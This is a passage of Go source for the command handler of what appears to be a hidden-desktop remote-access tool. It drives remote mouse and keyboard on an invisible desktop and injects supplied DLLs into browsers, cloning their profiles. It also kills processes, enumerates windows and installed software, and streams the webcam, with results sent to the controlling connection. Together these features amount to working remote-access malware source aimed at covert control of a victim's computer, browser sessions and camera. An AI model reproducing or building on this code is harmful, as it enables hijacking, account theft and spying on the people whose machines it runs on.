sendCommandResultSafe(env, cmdID, true, "")
return nil
case "backstage_enable_mouse":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
if env.VirtualCancel != nil {
log.Printf("hidden: mouse control %v", enabled)
_ = VirtualMouseControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
log.Printf("backstage: mouse control %v", enabled)
_ = backstageMouseControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "backstage_enable_keyboard":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
if env.VirtualCancel != nil {
log.Printf("hidden: keyboard control %v", enabled)
_ = VirtualKeyboardControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
log.Printf("backstage: keyboard control %v", enabled)
_ = backstageKeyboardControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "backstage_enable_cursor":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := false
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
if env.VirtualCancel != nil {
log.Printf("hidden: cursor capture %v", enabled)
_ = VirtualCursorControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
log.Printf("backstage: cursor capture %v", enabled)
_ = backstageCursorControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "backstage_enable_dxgi":
payload, _ := envelope["payload"].(map[string]interface{})
dxgiEnabled := true
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
dxgiEnabled = v
}
}
log.Printf("backstage: DXGI capture %v", dxgiEnabled)
capture.SetbackstageDXGIEnabled(dxgiEnabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "backstage_enable_uia":
payload, _ := envelope["payload"].(map[string]interface{})
uiaEnabled := true
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
uiaEnabled = v
}
}
log.Printf("backstage: UIA support %v", uiaEnabled)
capture.SetbackstageUIAEnabled(uiaEnabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "backstage_set_resolution":
payload, _ := envelope["payload"].(map[string]interface{})
maxH := 1080
if payload != nil {
if v, ok := payloadInt(payload, "maxHeight"); ok {
maxH = v
}
}
log.Printf("backstage: set resolution maxHeight=%d", maxH)
capture.SetMaxResolution(maxH)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "backstage_set_fps":
payload, _ := envelope["payload"].(map[string]interface{})
fps := 120
if payload != nil {
if v, ok := payloadInt(payload, "fps"); ok {
fps = v
}
}
if env.VirtualCancel != nil {
fps = SetVirtualTargetFPS(fps)
} else {
// Also seed virtual mode so a setting sent immediately before
// backstage_start is retained when that start selects virtual mode.
fps = SetbackstageTargetFPS(fps)
SetVirtualTargetFPS(fps)
}
log.Printf("backstage: set target fps=%d", fps)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "backstage_set_quality":
payload, _ := envelope["payload"].(map[string]interface{})
quality := 90
codec := ""
if payload != nil {
if q, ok := payloadInt(payload, "quality"); ok {
quality = q
}
if v, ok := payload["codec"].(string); ok {
codec = v
}
}
log.Printf("backstage: set quality=%d codec=%s", quality, codec)
capture.SetBackstageQualityAndCodec(quality, codec)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "backstage_request_keyframe":
log.Printf("backstage: request full frame")
capture.RequestbackstageFullFrame()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "backstage_mouse_move":
payload, _ := envelope["payload"].(map[string]interface{})
x, y := int32(0), int32(0)
if payload != nil {
switch v := payload["x"].(type) {
case float64:
x = int32(v)
case float32:
x = int32(v)
case int:
x = int32(v)
case int8:
x = int32(v)
case int16:
x = int32(v)
case int32:
x = v
case int64:
x = int32(v)
case uint:
x = int32(v)
case uint8:
x = int32(v)
case uint16:
x = int32(v)
case uint32:
x = int32(v)
case uint64:
x = int32(v)
}
switch v := payload["y"].(type) {
case float64:
y = int32(v)
case float32:
y = int32(v)
case int:
y = int32(v)
case int8:
y = int32(v)
case int16:
y = int32(v)
case int32:
y = v
case int64:
y = int32(v)
case uint:
y = int32(v)
case uint8:
y = int32(v)
case uint16:
y = int32(v)
case uint32:
y = int32(v)
case uint64:
y = int32(v)
}
}
if env.VirtualCancel != nil {
if !env.VirtualMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
capture.VirtualInputMouseMove(x, y)
return nil
}
if !env.BackstageMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseMove, display: env.BackstageSelectedDisplay, x: x, y: y})
return nil
case "backstage_mouse_down":
if env.VirtualCancel == nil && !env.BackstageMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
btn := 0
x, y := int32(0), int32(0)
if payload != nil {
switch v := payload["button"].(type) {
case float64:
btn = int(v)
case float32:
btn = int(v)
case int:
btn = v
case int8:
btn = int(v)
case int16:
btn = int(v)
case int32:
btn = int(v)
case int64:
btn = int(v)
case uint:
btn = int(v)
case uint8:
btn = int(v)
case uint16:
btn = int(v)
case uint32:
btn = int(v)
case uint64:
btn = int(v)
}
switch v := payload["x"].(type) {
case float64:
x = int32(v)
case float32:
x = int32(v)
case int:
x = int32(v)
case int8:
x = int32(v)
case int16:
x = int32(v)
case int32:
x = v
case int64:
x = int32(v)
case uint:
x = int32(v)
case uint8:
x = int32(v)
case uint16:
x = int32(v)
case uint32:
x = int32(v)
case uint64:
x = int32(v)
}
switch v := payload["y"].(type) {
case float64:
y = int32(v)
case float32:
y = int32(v)
case int:
y = int32(v)
case int8:
y = int32(v)
case int16:
y = int32(v)
case int32:
y = v
case int64:
y = int32(v)
case uint:
y = int32(v)
case uint8:
y = int32(v)
case uint16:
y = int32(v)
case uint32:
y = int32(v)
case uint64:
y = int32(v)
}
}
if env.VirtualCancel != nil {
if !env.VirtualMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
_ = capture.VirtualInputMouseMove(x, y)
_ = capture.VirtualInputMouseDown(btn)
return nil
}
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseDown, display: env.BackstageSelectedDisplay, button: btn, x: x, y: y})
return nil
case "backstage_mouse_up":
if env.VirtualCancel == nil && !env.BackstageMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
btn := 0
x, y := int32(0), int32(0)
if payload != nil {
switch v := payload["button"].(type) {
case float64:
btn = int(v)
case float32:
btn = int(v)
case int:
btn = v
case int8:
btn = int(v)
case int16:
btn = int(v)
case int32:
btn = int(v)
case int64:
btn = int(v)
case uint:
btn = int(v)
case uint8:
btn = int(v)
case uint16:
btn = int(v)
case uint32:
btn = int(v)
case uint64:
btn = int(v)
}
switch v := payload["x"].(type) {
case float64:
x = int32(v)
case float32:
x = int32(v)
case int:
x = int32(v)
case int8:
x = int32(v)
case int16:
x = int32(v)
case int32:
x = v
case int64:
x = int32(v)
case uint:
x = int32(v)
case uint8:
x = int32(v)
case uint16:
x = int32(v)
case uint32:
x = int32(v)
case uint64:
x = int32(v)
}
switch v := payload["y"].(type) {
case float64:
y = int32(v)
case float32:
y = int32(v)
case int:
y = int32(v)
case int8:
y = int32(v)
case int16:
y = int32(v)
case int32:
y = v
case int64:
y = int32(v)
case uint:
y = int32(v)
case uint8:
y = int32(v)
case uint16:
y = int32(v)
case uint32:
y = int32(v)
case uint64:
y = int32(v)
}
}
if env.VirtualCancel != nil {
if !env.VirtualMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
_ = capture.VirtualInputMouseMove(x, y)
_ = capture.VirtualInputMouseUp(btn)
return nil
}
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseUp, display: env.BackstageSelectedDisplay, button: btn, x: x, y: y})
return nil
case "backstage_mouse_wheel":
if env.VirtualCancel == nil && !env.BackstageMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
delta := int32(0)
x, y := int32(0), int32(0)
if payload != nil {
switch v := payload["delta"].(type) {
case float64:
delta = int32(v)
case float32:
delta = int32(v)
case int:
delta = int32(v)
case int8:
delta = int32(v)
case int16:
delta = int32(v)
case int32:
delta = v
case int64:
delta = int32(v)
case uint:
delta = int32(v)
case uint8:
delta = int32(v)
case uint16:
delta = int32(v)
case uint32:
delta = int32(v)
case uint64:
delta = int32(v)
}
switch v := payload["x"].(type) {
case float64:
x = int32(v)
case float32:
x = int32(v)
case int:
x = int32(v)
case int8:
x = int32(v)
case int16:
x = int32(v)
case int32:
x = v
case int64:
x = int32(v)
case uint:
x = int32(v)
case uint8:
x = int32(v)
case uint16:
x = int32(v)
case uint32:
x = int32(v)
case uint64:
x = int32(v)
}
switch v := payload["y"].(type) {
case float64:
y = int32(v)
case float32:
y = int32(v)
case int:
y = int32(v)
case int8:
y = int32(v)
case int16:
y = int32(v)
case int32:
y = v
case int64:
y = int32(v)
case uint:
y = int32(v)
case uint8:
y = int32(v)
case uint16:
y = int32(v)
case uint32:
y = int32(v)
case uint64:
y = int32(v)
}
}
if env.VirtualCancel != nil {
if !env.VirtualMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
_ = capture.VirtualInputMouseMove(x, y)
_ = capture.VirtualInputMouseWheel(delta)
return nil
}
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseWheel, display: env.BackstageSelectedDisplay, delta: delta, x: x, y: y})
return nil
case "backstage_key_down":
if env.VirtualCancel == nil && !env.BackstageKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
code := ""
text := ""
if payload != nil {
if v, ok := payload["code"].(string); ok {
code = v
}
if v, ok := payload["text"].(string); ok {
text = v
}
}
if vk := keyCodeToVKbackstage(code); vk != 0 {
if env.VirtualCancel != nil {
if !env.VirtualKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
capture.VirtualInputKeyDown(vk)
return nil
}
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyDown, vk: vk, text: text})
}
return nil
case "backstage_key_up":
if env.VirtualCancel == nil && !env.BackstageKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
code := ""
if payload != nil {
if v, ok := payload["code"].(string); ok {
code = v
}
}
if vk := keyCodeToVKbackstage(code); vk != 0 {
if env.VirtualCancel != nil {
if !env.VirtualKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
capture.VirtualInputKeyUp(vk)
return nil
}
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyUp, vk: vk})
}
return nil
case "backstage_start_process":
payload, _ := envelope["payload"].(map[string]interface{})
filePath := ""
killExe := ""
operaPatch := false
display := 0
if payload != nil {
if v, ok := payload["path"].(string); ok {
filePath = v
}
if v, ok := payload["kill_exe"].(string); ok {
killExe = v
}
if v, ok := payload["opera_patch"].(bool); ok {
operaPatch = v
}
if v, ok := payload["display"].(float64); ok {
display = int(v)
}
}
if env.VirtualCancel != nil {
log.Printf("hidden: start process %q", filePath)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("virtual_start_process", nil, func() {
if killExe != "" {
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
log.Printf("hidden: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
}
if _, err := capture.StartVirtualProcess(filePath); err != nil {
log.Printf("hidden: start process failed for %q: %v", filePath, err)
}
})
return nil
}
log.Printf("backstage: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_start_process", nil, func() {
sendLaunchStatus := func(step string, success bool, detail string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserLaunchStatus{
Type: "backstage_browser_launch_status",
Browser: filepath.Base(strings.Trim(filePath, `"`)),
Step: step,
Success: success,
Detail: detail,
})
}
if killExe != "" {
sendLaunchStatus("kill", true, "killing "+killExe)
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
log.Printf("backstage: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
if err != nil {
sendLaunchStatus("kill", false, fmt.Sprintf("taskkill failed: %s", strings.TrimSpace(string(out))))
}
}
sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath))
if err := capture.StartbackstageProcess(filePath, operaPatch, display); err != nil {
log.Printf("backstage: start process failed for %q: %v", filePath, err)
sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err))
} else {
sendLaunchStatus("launch", true, "process created")
}
})
return nil
case "backstage_kill_all":
if env.VirtualCancel != nil {
log.Printf("hidden: kill all processes on virtual monitor")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("virtual_kill_all", nil, func() {
if err := capture.VirtualKillAll(); err != nil {
log.Printf("hidden: kill all failed: %v", err)
}
})
return nil
}
log.Printf("backstage: kill all processes on hidden desktop")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_kill_all", nil, func() {
if err := capture.BackstageKillAll(); err != nil {
log.Printf("backstage: kill all failed: %v", err)
}
})
return nil
case "backstage_window_list":
log.Printf("backstage: window list requested")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_window_list", nil, func() {
windows, monitors := capture.BackstageEnumWindows()
winEntries := make([]wire.BackstageWindowEntry, 0, len(windows))
for _, w := range windows {
winEntries = append(winEntries, wire.BackstageWindowEntry{
Title: w.Title,
X: w.X,
Y: w.Y,
Width: w.Width,
Height: w.Height,
PID: w.PID,
ProcessName: w.ProcessName,
Monitor: w.Monitor,
})
}
monEntries := make([]wire.BackstageMonitorEntry, 0, len(monitors))
for _, m := range monitors {
monEntries = append(monEntries, wire.BackstageMonitorEntry{
Index: m.Index,
Name: m.Name,
X: m.X,
Y: m.Y,
Width: m.Width,
Height: m.Height,
Primary: m.Primary,
})
}
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageWindowListResult{
Type: "backstage_window_list_result",
Windows: winEntries,
Monitors: monEntries,
})
log.Printf("backstage: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
})
return nil
case "backstage_browser_check":
log.Printf("backstage: browser availability check requested")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_browser_check", nil, func() {
browsers := capture.CheckInstalledBrowsers()
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserCheckResult{
Type: "backstage_browser_check_result",
Browsers: browsers,
})
log.Printf("backstage: browser check complete: %v", browsers)
})
return nil
case "backstage_installed_apps":
log.Printf("backstage: installed apps enumeration requested")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_installed_apps", nil, func() {
const batchSize = 15
apps := enumerateInstalledApps()
log.Printf("backstage: enumerated %d installed apps, extracting icons in batches", len(apps))
var batch []wire.BackstageInstalledApp
sent := 0
for _, a := range apps {
batch = append(batch, wire.BackstageInstalledApp{
Name: a.name,
ExePath: a.exePath,
Icon: extractIconBase64(a.exePath),
})
if len(batch) >= batchSize {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageInstalledAppsResult{
Type: "backstage_installed_apps_result",
Apps: batch,
})
sent += len(batch)
batch = batch[:0]
}
}
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageInstalledAppsResult{
Type: "backstage_installed_apps_result",
Apps: batch,
Done: true,
})
sent += len(batch)
log.Printf("backstage: installed apps complete, sent %d apps", sent)
})
return nil
case "backstage_lookup":
payload, _ := envelope["payload"].(map[string]interface{})
exeName := ""
if payload != nil {
if v, ok := payload["exe"].(string); ok {
exeName = v
}
}
if exeName == "" {
sendCommandResultSafe(env, cmdID, false, "no exe name provided")
return nil
}
log.Printf("backstage: lookup exe %q", exeName)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_lookup", nil, func() {
filesearch.LookupExe(exeName, 8, func(path string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageLookupResult{
Type: "backstage_lookup_result",
Exe: exeName,
Path: path,
Done: false,
})
})
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageLookupResult{
Type: "backstage_lookup_result",
Exe: exeName,
Path: "",
Done: true,
})
log.Printf("backstage: lookup complete for %q", exeName)
})
return nil
case "backstage_start_process_injected":
payload, _ := envelope["payload"].(map[string]interface{})
filePath := ""
searchPath := ""
replacePath := ""
display := 0
if payload != nil {
if v, ok := payload["path"].(string); ok {
filePath = v
}
if v, ok := payload["search_path"].(string); ok {
searchPath = v
}
if v, ok := payload["replace_path"].(string); ok {
replacePath = v
}
if v, ok := payload["display"].(float64); ok {
display = int(v)
}
}
dllBytes := extractDLLBytes(payload)
if len(dllBytes) == 0 {
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil
}
captureDllBytes := extractCaptureDLLBytes(payload)
log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_start_process_injected", nil, func() {
if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
log.Printf("backstage: injected process failed for %q: %v", filePath, err)
}
})
return nil
case "backstage_start_chrome_injected":
payload, _ := envelope["payload"].(map[string]interface{})
chromePath := ""
if payload != nil {
if v, ok := payload["path"].(string); ok {
chromePath = v
}
}
dllBytes := extractDLLBytes(payload)
if len(dllBytes) == 0 {
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil
}
log.Printf("backstage: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_start_chrome_injected", nil, func() {
if err := capture.StartbackstageChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
log.Printf("backstage: chrome injected failed: %v", err)
}
})
return nil
case "backstage_start_browser_injected":
payload, _ := envelope["payload"].(map[string]interface{})
browser := ""
exePath := ""
clone := true
cloneLite := false
killIfRunning := false
display := 0
if payload != nil {
if v, ok := payload["browser"].(string); ok {
browser = v
}
if v, ok := payload["path"].(string); ok {
exePath = v
}
if v, ok := payload["clone"].(bool); ok {
clone = v
}
if v, ok := payload["cloneLite"].(bool); ok {
cloneLite = v
}
if v, ok := payload["killIfRunning"].(bool); ok {
killIfRunning = v
}
if v, ok := payload["display"].(float64); ok {
display = int(v)
}
}
dllBytes := extractDLLBytes(payload)
if len(dllBytes) == 0 {
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil
}
if browser == "" {
sendCommandResultSafe(env, cmdID, false, "no browser specified")
return nil
}
log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("backstage_start_browser_injected", nil, func() {
var onProgress capture.CloneProgressFunc
if clone {
var limiter cloneProgressLimiter
onProgress = func(percent int, copiedBytes, totalBytes int64, status string) {
if !limiter.allow(time.Now(), copiedBytes, status) {
return
}
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageCloneProgress{
Type: "backstage_clone_progress",
Browser: browser,
Percent: percent,
CopiedBytes: copiedBytes,
TotalBytes: totalBytes,
Status: status,
})
}
}
onDXGIStatus := func(success bool, gpuPID uint32, message string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageDXGIStatus{
Type: "backstage_dxgi_status",
Success: success,
GPUPid: gpuPID,
Message: message,
})
}
onLaunchStatus := func(step string, success bool, detail string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserLaunchStatus{
Type: "backstage_browser_launch_status",
Browser: browser,
Step: step,
Success: success,
Detail: detail,
})
}
if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
log.Printf("backstage: browser injected failed for %q: %v", browser, err)
}
})
return nil
// ==================== HIDDEN MODE COMMANDS ====================
case "virtual_start":
payload, _ := envelope["payload"].(map[string]interface{})
autoStartExplorer := false
if payload != nil {
if v, ok := payload["autoStartExplorer"].(bool); ok {
autoStartExplorer = v
}
}
capture.RequestDesktopRecoveryAfterBackstageStart()
env.VirtualMu.Lock()
if env.VirtualCancel != nil {
env.VirtualCancel()
waitStreamStop(env.VirtualDone, "hidden")
}
hiddenCtx, cancel := context.WithCancel(ctx)
env.VirtualCancel = cancel
done := make(chan struct{})
env.VirtualDone = done
goSafe("hidden stream", env.Cancel, func() {
log.Printf("hidden: start requested (autoStartExplorer=%v)", autoStartExplorer)
if err := capture.InitializeVirtualMode(); err != nil {
log.Printf("hidden: initialization failed: %v", err)
close(done)
return
}
if autoStartExplorer {
if _, err := capture.StartVirtualProcess("explorer.exe"); err != nil {
log.Printf("hidden: auto-start explorer error: %v", err)
}
}
_ = VirtualStart(hiddenCtx, env)
close(done)
})
env.VirtualMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "virtual_stop":
env.VirtualMu.Lock()
log.Printf("hidden: stop requested")
env.VirtualMouseControl = false
env.VirtualKeyboardControl = false
env.VirtualCursorCapture = false
if env.VirtualCancel != nil {
env.VirtualCancel()
}
waitStreamStop(env.VirtualDone, "hidden")
env.VirtualCancel = nil
env.VirtualDone = nil
env.VirtualMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "virtual_enable_mouse":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
log.Printf("hidden: mouse control %v", enabled)
_ = VirtualMouseControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "virtual_enable_keyboard":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
log.Printf("hidden: keyboard control %v", enabled)
_ = VirtualKeyboardControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "virtual_enable_cursor":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := false
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
log.Printf("hidden: cursor capture %v", enabled)
_ = VirtualCursorControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "virtual_set_fps":
payload, _ := envelope["payload"].(map[string]interface{})
fps := 120
if payload != nil {
if v, ok := payloadInt(payload, "fps"); ok {
fps = v
}
}
fps = SetVirtualTargetFPS(fps)
log.Printf("hidden: set target fps=%d", fps)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "virtual_set_quality":
payload, _ := envelope["payload"].(map[string]interface{})
quality := 90
codec := ""
if payload != nil {
if q, ok := payloadInt(payload, "quality"); ok {
quality = q
}
if v, ok := payload["codec"].(string); ok {
codec = v
}
}
log.Printf("hidden: set quality=%d codec=%s", quality, codec)
capture.SetBackstageQualityAndCodec(quality, codec)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "virtual_request_keyframe":
log.Printf("hidden: request full frame")
capture.RequestbackstageFullFrame()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "virtual_mouse_move":
if !env.VirtualMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
x, y := int32(0), int32(0)
if payload != nil {
if v, ok := payloadInt32(payload, "x"); ok {
x = v
}
if v, ok := payloadInt32(payload, "y"); ok {
y = v
}
}
capture.VirtualInputMouseMove(x, y)
return nil
case "virtual_mouse_down":
if !env.VirtualMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
btn := 0
if payload != nil {
if v, ok := payload["button"].(float64); ok {
btn = int(v)
}
}
capture.VirtualInputMouseDown(btn)
return nil
case "virtual_mouse_up":
if !env.VirtualMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
btn := 0
if payload != nil {
if v, ok := payload["button"].(float64); ok {
btn = int(v)
}
}
capture.VirtualInputMouseUp(btn)
return nil
case "virtual_mouse_wheel":
if !env.VirtualMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
delta := int32(0)
if payload != nil {
if v, ok := payload["delta"].(float64); ok {
delta = int32(v)
}
}
capture.VirtualInputMouseWheel(delta)
return nil
case "virtual_key_down":
if !env.VirtualKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
code := ""
if payload != nil {
if v, ok := payload["code"].(string); ok {
code = v
}
}
if vk := keyCodeToVKVirtual(code); vk != 0 {
capture.VirtualInputKeyDown(vk)
}
return nil
case "virtual_key_up":
if !env.VirtualKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
code := ""
if payload != nil {
if v, ok := payload["code"].(string); ok {
code = v
}
}
if vk := keyCodeToVKVirtual(code); vk != 0 {
capture.VirtualInputKeyUp(vk)
}
return nil
case "virtual_start_process":
payload, _ := envelope["payload"].(map[string]interface{})
filePath := ""
if payload != nil {
if v, ok := payload["path"].(string); ok {
filePath = v
}
}
log.Printf("hidden: start process %q", filePath)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("virtual_start_process", nil, func() {
if _, err := capture.StartVirtualProcess(filePath); err != nil {
log.Printf("hidden: start process failed for %q: %v", filePath, err)
}
})
return nil
case "virtual_kill_all":
log.Printf("hidden: kill all processes on virtual monitor")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("virtual_kill_all", nil, func() {
if err := capture.VirtualKillAll(); err != nil {
log.Printf("hidden: kill all failed: %v", err)
}
})
return nil
case "virtual_window_list":
log.Printf("hidden: window list requested")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("virtual_window_list", nil, func() {
windows, monitors := capture.VirtualEnumWindows()
winEntries := make([]wire.BackstageWindowEntry, 0, len(windows))
for _, w := range windows {
winEntries = append(winEntries, wire.BackstageWindowEntry{
Title: w.Title,
X: w.X,
Y: w.Y,
Width: w.Width,
Height: w.Height,
PID: w.PID,
ProcessName: w.ProcessName,
Monitor: w.Monitor,
})
}
monEntries := make([]wire.BackstageMonitorEntry, 0, len(monitors))
for _, m := range monitors {
monEntries = append(monEntries, wire.BackstageMonitorEntry{
Index: m.Index,
Name: m.Name,
X: m.X,
Y: m.Y,
Width: m.Width,
Height: m.Height,
Primary: m.Primary,
})
}
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageWindowListResult{
Type: "backstage_window_list_result",
Windows: winEntries,
Monitors: monEntries,
})
log.Printf("hidden: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
})
return nil
case "webcam_start":
env.WebcamMu.Lock()
if env.WebcamCancel != nil {
env.WebcamCancel()
waitStreamStop(env.WebcamDone, "webcam")
}
webcamCtx, cancel := context.WithCancel(ctx)
env.WebcamCancel = cancel
done := make(chan struct{})
env.WebcamDone = done
goSafe("webcam stream", env.Cancel, func() {
log.Printf("webcam: start requested")
_ = WebcamStart(webcamCtx, env)
close(done)
})
env.WebcamMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_list":
devices, err := capture.ListWebcams()
if err != nil {
sendCommandResultSafe(env, cmdID, false, err.Error())
return nil
}
out := make([]wire.WebcamDevice, 0, len(devices))
for _, dev := range devices {
out = append(out, wire.WebcamDevice{Index: dev.Index, Name: dev.Name, MaxFPS: dev.MaxFPS})
}
_ = wire.WriteMsg(ctx, env.Conn, wire.WebcamDevices{Type: "webcam_devices", Devices: out, Selected: env.WebcamDeviceIndex})
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_select":
payload, _ := envelope["payload"].(map[string]interface{})
index := 0
if payload != nil {
if n, ok := payloadInt(payload, "index"); ok {
index = n
}
}
env.WebcamDeviceIndex = index
capture.CleanupWebcam()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_set_fps":
payload, _ := envelope["payload"].(map[string]interface{})
env.WebcamMu.Lock()
isStreaming := env.WebcamCancel != nil
env.WebcamMu.Unlock()
if isStreaming {
sendCommandResultSafe(env, cmdID, false, "stop webcam before changing fps")
return nil
}
fps := env.WebcamFPS
useMax := env.WebcamUseMaxFPS
if payload != nil {
if n, ok := payloadInt(payload, "fps"); ok {
fps = n
}
if v, ok := payload["useMax"].(bool); ok {
useMax = v
}
}
if fps < 1 {
fps = 30
}
if fps > 120 {
fps = 120
}
clampedFPS, clampErr := capture.ClampWebcamFPS(env.WebcamDeviceIndex, fps, useMax)
if clampErr != nil {
log.Printf("webcam: fps clamp fallback requested=%d err=%v", fps, clampErr)
} else {
fps = clampedFPS
}
env.WebcamFPS = fps
capture.SetWebcamH264TargetFPS(fps)
env.WebcamUseMaxFPS = useMax
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_set_quality":
payload, _ := envelope["payload"].(map[string]interface{})
quality := 0
codec := ""
if payload != nil {
if q, ok := payloadInt(payload, "quality"); ok {
quality = q
}
